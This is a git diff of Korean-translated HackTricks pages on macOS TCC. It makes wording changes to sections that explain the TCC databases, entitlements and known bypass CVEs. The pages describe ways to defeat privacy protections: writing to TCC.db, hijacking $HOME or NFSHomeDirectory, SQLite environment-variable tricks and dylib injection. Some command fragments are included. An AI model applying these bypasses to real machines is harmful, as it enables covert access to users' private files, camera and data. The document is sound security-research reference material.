b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -34,7 +34,7 @@ ps -ef | grep tcc > [!WARNING] > 이전 데이터베이스는 **읽기 접근을 위한 TCC 보호**도 적용됩니다. 따라서 **TCC 권한이 있는 프로세스**가 아닌 이상 일반 사용자 TCC 데이터베이스를 **읽을 수 없습니다**. > -> 그러나 이러한 높은 권한을 가진 프로세스(**FDA** 또는 **`kTCCServiceEndpointSecurityClient`**와 같은)는 사용자 TCC 데이터베이스에 쓸 수 있습니다. +> 그러나 이러한 높은 권한(예: **FDA** 또는 **`kTCCServiceEndpointSecurityClient`**)을 가진 프로세스는 사용자 TCC 데이터베이스에 쓸 수 있습니다. - **`/var/db/locationd/clients.plist`**에 있는 **세 번째** TCC 데이터베이스는 **위치 서비스**에 접근할 수 있는 클라이언트를 나타냅니다. - SIP 보호 파일 **`/Users/carlospolop/Downloads/REG.db`** (TCC로 읽기 접근도 보호됨)는 모든 **유효한 TCC 데이터베이스**의 **위치**를 포함합니다. @@ -105,7 +105,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; > 두 데이터베이스를 확인하면 앱이 허용한 권한, 금지한 권한 또는 없는 권한(요청할 것입니다)을 확인할 수 있습니다. - **`service`**는 TCC **권한** 문자열 표현입니다. -- **`client`**는 **번들 ID** 또는 권한이 있는 **이진 파일의 경로**입니다. +- **`client`**는 권한이 있는 **번들 ID** 또는 **이진 파일 경로**입니다. - **`client_type`**은 번들 식별자(0)인지 절대 경로(1)인지 나타냅니다.
@@ -151,8 +151,8 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; ```
-- **`auth_value`**는 다음과 같은 값을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3). -- **`auth_reason`**은 다음 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) +- **`auth_value`**는 다음과 같은 다양한 값을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3). +- **`auth_reason`**은 다음과 같은 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) - **csreq** 필드는 이진 파일을 검증하고 TCC 권한을 부여하는 방법을 나타내기 위해 존재합니다: ```bash # Query to get cserq in printable hex @@ -199,16 +199,16 @@ csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram" ``` > [!WARNING] -> 따라서 동일한 이름과 번들 ID를 사용하는 다른 애플리케이션은 다른 앱에 부여된 권한에 접근할 수 없습니다. +> 따라서, 동일한 이름과 번들 ID를 사용하는 다른 애플리케이션은 다른 앱에 부여된 권한에 접근할 수 없습니다. ### 권한 및 TCC 권한 앱은 **단순히** **요청**하고 **접근 권한을 부여받는 것**만으로는 충분하지 않으며, **관련 권한을 가져야** 합니다.\ 예를 들어 **Telegram**은 **카메라에 접근하기 위해** `com.apple.security.device.camera` 권한을 가지고 있습니다. 이 **권한이 없는 앱**은 카메라에 접근할 수 없으며 (사용자에게 권한을 요청하지도 않습니다). -그러나 앱이 `~/Desktop`, `~/Downloads` 및 `~/Documents`와 같은 **특정 사용자 폴더에 접근하기 위해서는** 특정 **권한이 필요하지 않습니다.** 시스템은 접근을 투명하게 처리하고 **필요에 따라 사용자에게 요청**합니다. +그러나 앱이 `~/Desktop`, `~/Downloads` 및 `~/Documents`와 같은 **특정 사용자 폴더에 접근하기 위해**는 특별한 **권한이 필요하지 않습니다.** 시스템은 접근을 투명하게 처리하고 **필요에 따라 사용자에게 요청**합니다. -Apple의 앱은 **프롬프트를 생성하지 않습니다.** 이들은 **권한** 목록에 **사전 부여된 권한**을 포함하고 있어, **결코 팝업을 생성하지 않으며**, **TCC 데이터베이스**에 나타나지도 않습니다. 예를 들어: +Apple의 앱은 **프롬프트를 생성하지 않습니다**. 이들은 **권한** 목록에 **미리 부여된 권한**을 포함하고 있어, **결코 팝업을 생성하지 않으며**, **TCC 데이터베이스**에 나타나지 않습니다. 예를 들어: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] @@ -222,9 +222,9 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app 이것은 Calendar가 사용자에게 알림, 캘린더 및 주소록에 접근할 것을 요청하는 것을 피할 것입니다. > [!TIP] -> 공식 문서 외에도 **[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)**에서 권한에 대한 비공식적인 **흥미로운 정보**를 찾을 수 있습니다. +> 일부 공식 문서 외에도 **https://newosxbook.com/ent.jl**에서 비공식적인 **흥미로운 정보**를 찾는 것이 가능합니다. -일부 TCC 권한은: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 모든 권한을 정의하는 공개 목록은 없지만, 이 **[알려진 목록](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)**을 확인할 수 있습니다. +일부 TCC 권한은: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 모든 권한을 정의하는 공개 목록은 없지만, 이 [**알려진 목록**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)을 확인할 수 있습니다. ### 민감한 보호되지 않은 장소 @@ -234,7 +234,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app ### 사용자 의도 / com.apple.macl -앞서 언급했듯이, **파일을 드래그 앤 드롭하여 앱에 접근을 부여하는 것이 가능합니다**. 이 접근은 어떤 TCC 데이터베이스에도 명시되지 않지만, **파일의 확장된 속성**으로 저장됩니다. 이 속성은 허용된 앱의 **UUID**를 **저장**합니다: +앞서 언급했듯이, **파일을 드래그 앤 드롭하여 앱에 접근을 허용할 수 있습니다**. 이 접근은 어떤 TCC 데이터베이스에도 명시되지 않지만, **파일의 확장 속성**으로 저장됩니다. 이 속성은 허용된 앱의 **UUID**를 저장합니다: ```bash xattr Desktop/private.txt com.apple.macl @@ -250,17 +250,17 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` > [!NOTE] -> **`com.apple.macl`** 속성이 **Sandbox**에 의해 관리된다는 점이 흥미롭습니다. tccd가 아닙니다. +> **`com.apple.macl`** 속성이 tccd가 아닌 **Sandbox**에 의해 관리된다는 점이 흥미롭습니다. > > 또한, 컴퓨터에서 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 대한 접근이 허용되지 않습니다. -확장 속성 `com.apple.macl`은 **SIP에 의해 보호**되기 때문에 다른 확장 속성과 같이 **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 바와 같이**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고, **삭제**한 후 **압축 해제**하면 비활성화할 수 있습니다. +확장 속성 `com.apple.macl` **는** 다른 확장 속성과 달리 **SIP에 의해 보호되기 때문에** **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 바와 같이**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고 **삭제**한 후 **압축 해제**하면 이를 비활성화할 수 있습니다. ## TCC Privesc & Bypasses ### TCC에 삽입 -어느 시점에서 TCC 데이터베이스에 대한 쓰기 접근 권한을 얻으면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다(주석을 제거하세요): +어떤 시점에서 TCC 데이터베이스에 대한 쓰기 접근 권한을 얻으면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다(주석을 제거하세요):
@@ -308,7 +308,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp ### TCC 페이로드 -TCC 권한이 있는 앱에 들어갔다면, 이를 악용하기 위한 TCC 페이로드를 확인하세요: +TCC 권한이 있는 앱에 들어갔다면, 이를 악용하기 위한 TCC 페이로드를 확인하려면 다음 페이지를 참조하세요: {{#ref}} macos-tcc-payloads.md @@ -370,7 +370,7 @@ EOD
> [!CAUTION] -> **Automator** 앱이 TCC 권한 **`kTCCServiceAppleEvents`**를 가지고 있기 때문에, **모든 앱을 제어할 수 있습니다**, 예를 들어 Finder를 제어할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드를 사용하여 **Finder**도 제어할 수 있습니다: +> **Automator** 앱이 TCC 권한 **`kTCCServiceAppleEvents`**를 가지고 있기 때문에, **모든 앱을 제어할 수 있습니다**, 예를 들어 Finder. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드를 사용하여 **Finder**도 제어할 수 있습니다:
@@ -494,7 +494,7 @@ EOF ``` ### `kTCCServiceAccessibility` to FDA\* -이 페이지에서 [**접근성 권한을 악용하기 위한 페이로드**](macos-tcc-payloads.md#accessibility)를 확인하여 FDA\*로 권한 상승하거나 예를 들어 키로거를 실행할 수 있습니다. +이 페이지에서 [**접근성 권한을 악용하기 위한 페이로드**](macos-tcc-payloads.md#accessibility)를 확인하여 FDA\*로 권한 상승하거나 키로거를 실행할 수 있습니다. ### **Endpoint Security Client to FDA** @@ -502,7 +502,7 @@ EOF ### System Policy SysAdmin File to FDA -**`kTCCServiceSystemPolicySysAdminFiles`**는 사용자의 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 하여 그의 홈 폴더를 변경하고 따라서 **TCC를 우회**할 수 있게 합니다. +**`kTCCServiceSystemPolicySysAdminFiles`**는 사용자의 홈 폴더를 변경하는 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 하여 **TCC를 우회**할 수 있게 합니다. ### User TCC DB to FDA @@ -514,18 +514,18 @@ EOF **전체 디스크 접근**의 TCC 이름은 **`kTCCServiceSystemPolicyAllFiles`**입니다. -이것이 실제 권한 상승이라고 생각하지 않지만, 만약 유용하다고 생각된다면: FDA로 프로그램을 제어하면 **사용자의 TCC 데이터베이스를 수정하고 자신에게 모든 접근 권한을 부여할 수 있습니다**. 이는 FDA 권한을 잃을 경우 지속성 기술로 유용할 수 있습니다. +이것이 실제 권한 상승이라고 생각하지 않지만, 유용할 경우를 대비해: FDA로 프로그램을 제어하면 **사용자의 TCC 데이터베이스를 수정하고 자신에게 모든 접근 권한을 부여할 수 있습니다**. 이는 FDA 권한을 잃을 경우 지속성 기술로 유용할 수 있습니다. ### **SIP Bypass to TCC Bypass** 시스템 **TCC 데이터베이스**는 **SIP**에 의해 보호되므로, **지정된 권한**이 있는 프로세스만 이를 수정할 수 있습니다. 따라서 공격자가 **파일**에 대한 **SIP 우회**를 찾으면 (SIP에 의해 제한된 파일을 수정할 수 있게 되면), 그는 다음을 수행할 수 있습니다: -- **TCC 데이터베이스의 보호를 제거하고 자신에게 모든 TCC 권한을 부여할 수 있습니다**. 그는 예를 들어 이러한 파일을 악용할 수 있습니다: +- **TCC 데이터베이스의 보호를 제거**하고 자신에게 모든 TCC 권한을 부여할 수 있습니다. 그는 예를 들어 이러한 파일을 악용할 수 있습니다: - TCC 시스템 데이터베이스 - REG.db - MDMOverrides.plist -그러나 이 **SIP 우회를 사용하여 TCC를 우회**할 수 있는 또 다른 옵션이 있습니다. 파일 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`는 TCC 예외가 필요한 애플리케이션의 허용 목록입니다. 따라서 공격자가 이 파일의 **SIP 보호를 제거**하고 자신의 **애플리케이션**을 추가할 수 있다면, 해당 애플리케이션은 TCC를 우회할 수 있습니다.\ +그러나 이 **SIP 우회를 통해 TCC를 우회**할 수 있는 또 다른 옵션이 있습니다. 파일 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`는 TCC 예외가 필요한 애플리케이션의 허용 목록입니다. 따라서 공격자가 이 파일에서 **SIP 보호를 제거**하고 자신의 **애플리케이션**을 추가할 수 있다면, 해당 애플리케이션은 TCC를 우회할 수 있습니다.\ 예를 들어 터미널을 추가하기 위해: ```bash # Get needed info diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md index 6468b011b..411a3d4ef 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md @@ -8,7 +8,7 @@ mina 데몬은 `/System/Library/CoreServices/appleeventsd`로, 서비스 `com.apple.coreservices.appleevents`를 등록합니다. -이벤트를 받을 수 있는 모든 애플리케이션은 이 데몬과 함께 자신의 Apple Event Mach Port를 제공하여 확인합니다. 그리고 애플리케이션이 이벤트를 보내고자 할 때, 해당 애플리케이션은 데몬으로부터 이 포트를 요청합니다. +이벤트를 수신할 수 있는 모든 애플리케이션은 이 데몬과 함께 자신의 Apple Event Mach Port를 제공하여 확인합니다. 그리고 애플리케이션이 이벤트를 보내고자 할 때, 해당 애플리케이션은 데몬으로부터 이 포트를 요청합니다. 샌드박스 애플리케이션은 이벤트를 보낼 수 있도록 `allow appleevent-send` 및 `(allow mach-lookup (global-name "com.apple.coreservices.appleevents))`와 같은 권한이 필요합니다. `com.apple.security.temporary-exception.apple-events`와 같은 권한은 이벤트를 보낼 수 있는 접근을 제한할 수 있으며, 이는 `com.apple.private.appleevents`와 같은 권한이 필요합니다. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index 346edc814..2f0b82674 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -1,4 +1,4 @@ -# macOS TCC 우회 +# macOS TCC Bypasses {{#include ../../../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ### 쓰기 우회 -이것은 우회가 아니라 TCC가 작동하는 방식입니다: **쓰기에서 보호하지 않습니다**. 만약 Terminal이 **사용자의 바탕화면을 읽을 수 있는 권한이 없다면 여전히 그 안에 쓸 수 있습니다**: +이것은 우회가 아니라 TCC가 작동하는 방식입니다: **쓰기 보호가 없습니다**. 만약 터미널이 **사용자의 바탕화면을 읽을 수 있는 권한이 없다면 여전히 그 안에 쓸 수 있습니다**: ```shell-session username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted @@ -20,7 +20,7 @@ asd ### TCC ClickJacking -사용자가 이를 **인식하지 못한 채** **수락**하도록 **TCC 프롬프트 위에 창을 올리는** 것이 가능합니다. [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**에서 PoC를 찾을 수 있습니다.** +사용자가 **알지 못한 채로** TCC 프롬프트 위에 **창을 올려놓는** 것이 가능합니다. [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**에서 PoC를 찾을 수 있습니다.**

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

@@ -39,7 +39,7 @@ asd ### SSH 우회 -기본적으로 **SSH를 통한 접근은 "전체 디스크 접근"**을 가져야 했습니다. 이를 비활성화하려면 목록에 나열되어 있지만 비활성화되어 있어야 합니다(목록에서 제거하는 것은 이러한 권한을 제거하지 않습니다): +기본적으로 **SSH를 통한 접근은 "전체 디스크 접근"**을 가지고 있었습니다. 이를 비활성화하려면 목록에 나열되어 있지만 비활성화되어 있어야 합니다(목록에서 제거하는 것은 이러한 권한을 제거하지 않습니다): ![](<../../../../../images/image (1077).png>) @@ -54,7 +54,7 @@ asd 속성 **`com.apple.macl`**은 파일에 부여되어 **특정 애플리케이션이 이를 읽을 수 있는 권한을 부여합니다.** 이 속성은 **파일을 앱 위로 드래그 앤 드롭**하거나 사용자가 **더블 클릭**하여 **기본 애플리케이션**으로 파일을 열 때 설정됩니다. -따라서 사용자는 **모든 확장을 처리하는 악성 앱을 등록**하고 Launch Services를 호출하여 **파일을 열 수 있습니다**(따라서 악성 파일이 읽을 수 있는 접근 권한을 부여받게 됩니다). +따라서 사용자는 **모든 확장을 처리하는 악성 앱을 등록하고** Launch Services를 호출하여 **파일을 열 수 있습니다**(따라서 악성 파일이 읽을 수 있는 접근 권한을 부여받게 됩니다). ### iCloud @@ -62,11 +62,11 @@ asd **iMovie**와 **Garageband**는 이 권한을 가지고 있었고, 다른 앱들도 허용되었습니다. -이 권한에서 **icloud 토큰을 얻기 위한** 익스플로잇에 대한 더 많은 **정보**는 다음 강의를 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +이 권한에서 **icloud 토큰을 얻기 위한** exploit에 대한 더 많은 **정보**는 다음 강의를 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### kTCCServiceAppleEvents / 자동화 -**`kTCCServiceAppleEvents`** 권한이 있는 앱은 **다른 앱을 제어할 수 있습니다**. 이는 다른 앱에 부여된 권한을 **남용할 수 있음을 의미합니다**. +**`kTCCServiceAppleEvents`** 권한을 가진 앱은 **다른 앱을 제어할 수 있습니다**. 이는 다른 앱에 부여된 권한을 **남용할 수 있음을 의미합니다**. Apple Scripts에 대한 더 많은 정보는 다음을 확인하세요: @@ -98,7 +98,7 @@ osascript iterm.script ``` #### Over Finder -또는 앱이 Finder에 대한 액세스 권한이 있는 경우, 다음과 같은 스크립트를 사용할 수 있습니다: +또는 앱이 Finder에 대한 접근 권한이 있는 경우, 다음과 같은 스크립트를 사용할 수 있습니다: ```applescript set a_user to do shell script "logname" tell application "Finder" @@ -114,8 +114,8 @@ do shell script "rm " & POSIX path of (copyFile as alias) 사용자 공간의 **tccd 데몬**은 **`HOME`** **env** 변수를 사용하여 TCC 사용자 데이터베이스에 접근합니다: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** -[이 Stack Exchange 게시물](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)에 따르면, TCC 데몬은 현재 사용자의 도메인 내에서 `launchd`를 통해 실행되므로, **전달되는 모든 환경 변수를 제어**할 수 있습니다.\ -따라서 **공격자는 `$HOME` 환경** 변수를 **`launchctl`**에서 **제어된** **디렉토리**를 가리키도록 설정하고, **TCC** 데몬을 **재시작**한 다음, **TCC 데이터베이스를 직접 수정**하여 최종 사용자에게 아무런 요청 없이 **모든 TCC 권한**을 부여할 수 있습니다.\ +[이 Stack Exchange 게시물](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)에 따르면, TCC 데몬이 현재 사용자의 도메인 내에서 `launchd`를 통해 실행되기 때문에, **모든 환경 변수**를 **제어**할 수 있습니다.\ +따라서 **공격자는 `$HOME` 환경** 변수를 **`launchctl`**에서 **제어된** **디렉토리**를 가리키도록 설정하고, **TCC** 데몬을 **재시작**한 다음, **TCC 데이터베이스를 직접 수정**하여 **최종 사용자에게 아무런 프롬프트 없이** **모든 TCC 권한**을 부여할 수 있습니다.\ PoC: ```bash # reset database just in case (no cheating!) @@ -145,7 +145,7 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - 노트 -노트는 TCC 보호 위치에 접근할 수 있지만, 노트가 생성될 때 **비보호 위치**에 생성됩니다. 따라서 노트에 보호된 파일을 노트에 복사하도록 요청할 수 있으며(즉, 비보호 위치에) 그 파일에 접근할 수 있습니다: +노트는 TCC 보호 위치에 접근할 수 있었지만, 노트가 생성될 때 **비보호 위치**에 생성됩니다. 따라서 노트에 보호된 파일을 노트에 복사하도록 요청할 수 있으며(즉, 비보호 위치에) 그 파일에 접근할 수 있습니다:
@@ -157,21 +157,21 @@ $> ls ~/Documents ### CVE-2023-38571 - 음악 및 TV -**`Music`**는 흥미로운 기능을 가지고 있습니다: 실행 중일 때 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**에 드롭된 파일을 사용자의 "미디어 라이브러리"로 **가져옵니다**. 게다가, **`rename(a, b);`**와 같은 호출을 하며, 여기서 `a`와 `b`는 다음과 같습니다: +**`Music`**는 흥미로운 기능을 가지고 있습니다: 실행 중일 때, **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**에 드롭된 파일을 사용자의 "미디어 라이브러리"로 **가져옵니다**. 게다가, **`rename(a, b);`**와 같은 호출을 합니다. 여기서 `a`와 `b`는: - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` -- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` +- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"` -이 **`rename(a, b);`** 동작은 **경쟁 조건**에 취약합니다. 왜냐하면 `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고, 새 폴더(b)가 생성될 때 파일을 복사하고 삭제한 후 **`~/Library/Application Support/com.apple.TCC`**를 가리키도록 할 수 있기 때문입니다. +이 **`rename(a, b);`** 동작은 **경쟁 조건**에 취약합니다. 왜냐하면 `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고, 새 폴더(b)가 생성될 때 파일을 복사하고 삭제한 후 **`~/Library/Application Support/com.apple.TCC`**로 포인팅할 수 있기 때문입니다. ### SQLITE_SQLLOG_DIR - CVE-2023-32422 -**`SQLITE_SQLLOG_DIR="path/folder"`**는 기본적으로 **열려 있는 모든 db가 해당 경로로 복사됨**을 의미합니다. 이 CVE에서는 이 제어가 남용되어 **TCC 데이터베이스**를 열 프로세스에 의해 **열릴** **SQLite 데이터베이스** 내부에 **쓰기**가 이루어졌고, **파일 이름에 symlink**를 사용하여 **`SQLITE_SQLLOG_DIR`**를 남용하여 그 데이터베이스가 **열릴** 때 사용자 **TCC.db가 열려 있는 것으로 덮어씌워졌습니다.**\ -**자세한 정보** [**작성물에서**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **및** [**강의에서**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). +**`SQLITE_SQLLOG_DIR="path/folder"`**는 기본적으로 **열려 있는 모든 db가 해당 경로로 복사됨**을 의미합니다. 이 CVE에서는 이 제어가 남용되어 **SQLite 데이터베이스** 내부에 **쓰기**가 이루어졌고, FDA TCC 데이터베이스로 열릴 프로세스에 의해 **열리는** 데이터베이스에 대해 **`SQLITE_SQLLOG_DIR`**를 **파일 이름의 심볼릭 링크**로 남용하여 그 데이터베이스가 **열릴** 때 사용자 **TCC.db가 열리는 데이터베이스로 덮어씌워졌습니다**.\ +**자세한 정보** [**작성물에서**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **및** [**강연에서**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). ### **SQLITE_AUTO_TRACE** -환경 변수 **`SQLITE_AUTO_TRACE`**가 설정되면, 라이브러리 **`libsqlite3.dylib`**는 모든 SQL 쿼리를 **로그**하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에 모든 SQLite 쿼리를 기록할 수 있었습니다. +환경 변수 **`SQLITE_AUTO_TRACE`**가 설정되면, 라이브러리 **`libsqlite3.dylib`**는 모든 SQL 쿼리를 **로그**하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에 모든 SQLite 쿼리를 로그할 수 있었습니다. 여러 애플리케이션이 TCC 보호 정보를 접근하기 위해 이 라이브러리를 사용했습니다. ```bash @@ -190,7 +190,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1 이는 임시 파일 쓰기 후 **`rename(old, new)`** **가 안전하지 않습니다.** -안전하지 않은 이유는 **이전 및 새로운 경로를 별도로 해결해야 하기 때문**이며, 이는 시간이 걸릴 수 있고 경쟁 조건에 취약할 수 있습니다. 더 많은 정보는 `xnu` 함수 `renameat_internal()`을 확인할 수 있습니다. +안전하지 않은 이유는 **구식 및 새 경로를 별도로 해결해야 하기 때문**이며, 이는 시간이 걸릴 수 있고 경쟁 조건에 취약할 수 있습니다. 더 많은 정보는 `xnu` 함수 `renameat_internal()`을 확인할 수 있습니다. > [!CAUTION] > 기본적으로, 권한이 있는 프로세스가 당신이 제어하는 폴더에서 이름을 바꾸면, RCE를 얻고 다른 파일에 접근하게 하거나, 이 CVE와 같이 권한 있는 앱이 생성한 파일을 열고 FD를 저장할 수 있습니다. @@ -222,7 +222,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1 ## By **NFSHomeDirectory** -TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**에서 사용자에게 특정 리소스에 대한 접근을 제어합니다.\ +TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**에서 사용자에게 특정한 리소스에 대한 접근을 제어합니다.\ 따라서 사용자가 $HOME env 변수를 **다른 폴더**를 가리키도록 재시작하면, 사용자는 **/Library/Application Support/com.apple.TCC/TCC.db**에 새로운 TCC 데이터베이스를 생성하고 TCC를 속여 모든 TCC 권한을 모든 앱에 부여할 수 있습니다. > [!TIP] @@ -243,7 +243,7 @@ TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$ 5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)를 사용하여 수정된 디렉토리 서비스 항목을 가져옵니다. 6. 사용자의 _tccd_를 중지하고 프로세스를 재부팅합니다. -두 번째 POC는 **`/usr/libexec/configd`**를 사용했으며, 여기에는 `com.apple.private.tcc.allow`가 `kTCCServiceSystemPolicySysAdminFiles` 값으로 설정되어 있었습니다.\ +두 번째 POC는 `com.apple.private.tcc.allow`가 `kTCCServiceSystemPolicySysAdminFiles` 값으로 설정된 **`/usr/libexec/configd`**를 사용했습니다.\ **`-t`** 옵션으로 **`configd`**를 실행할 수 있었고, 공격자는 **로드할 사용자 정의 번들을 지정**할 수 있었습니다. 따라서 이 익스플로잇은 사용자의 홈 디렉토리를 변경하는 **`dsexport`** 및 **`dsimport`** 방법을 **`configd` 코드 주입**으로 대체합니다. 자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)를 확인하세요. @@ -263,7 +263,7 @@ TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$ 애플리케이션 `/System/Library/CoreServices/Applications/Directory Utility.app`는 **`kTCCServiceSystemPolicySysAdminFiles`** 권한을 가지고 있으며, **`.daplug`** 확장자를 가진 플러그인을 로드하고 **강화된** 런타임이 없습니다. -이 CVE를 무기화하기 위해 **`NFSHomeDirectory`**가 **변경**되어 (이전 권한을 악용하여) 사용자의 TCC 데이터베이스를 **장악**할 수 있도록 합니다. +이 CVE를 무기화하기 위해 **`NFSHomeDirectory`**가 **변경**되어 사용자의 TCC 데이터베이스를 **탈취**할 수 있도록 합니다. 자세한 정보는 [**원본 보고서**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)를 확인하세요. @@ -304,7 +304,7 @@ exit(0); Core Media I/O를 통해 카메라 스트림을 여는 시스템 애플리케이션(**`kTCCServiceCamera`**가 있는 앱)은 `/Library/CoreMediaIO/Plug-Ins/DAL`에 위치한 **이 플러그인들을 프로세스에서 로드**합니다 (SIP 제한 없음). -여기에 일반 **생성자**가 있는 라이브러리를 저장하는 것만으로도 **코드를 주입**하는 데 효과적입니다. +여기에 일반 **생성자**가 있는 라이브러리를 저장하는 것만으로도 **코드를 주입**할 수 있습니다. 여러 Apple 애플리케이션이 이에 취약했습니다. @@ -340,13 +340,13 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox ### CVE-2020-10006 -바이너리 `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl`는 **`com.apple.private.tcc.allow`** 및 **`com.apple.security.get-task-allow`** 권한을 가지고 있어 프로세스 내에 코드를 주입하고 TCC 권한을 사용할 수 있었습니다. +바이너리 `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl`는 **`com.apple.private.tcc.allow`** 및 **`com.apple.security.get-task-allow`** 권한을 가지고 있어, 프로세스 내에 코드를 주입하고 TCC 권한을 사용할 수 있었습니다. ### CVE-2023-26818 - Telegram -Telegram은 **`com.apple.security.cs.allow-dyld-environment-variables`** 및 **`com.apple.security.cs.disable-library-validation`** 권한을 가지고 있어 카메라로 녹화하는 등의 **권한에 접근할 수 있는** 악용이 가능했습니다. [**페이로드는 작성물에서 찾을 수 있습니다**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) . +Telegram은 **`com.apple.security.cs.allow-dyld-environment-variables`** 및 **`com.apple.security.cs.disable-library-validation`** 권한을 가지고 있어, 이를 악용하여 **카메라로 녹화하는 등의 권한에 접근**할 수 있었습니다. [**페이로드는 작성물에서 찾을 수 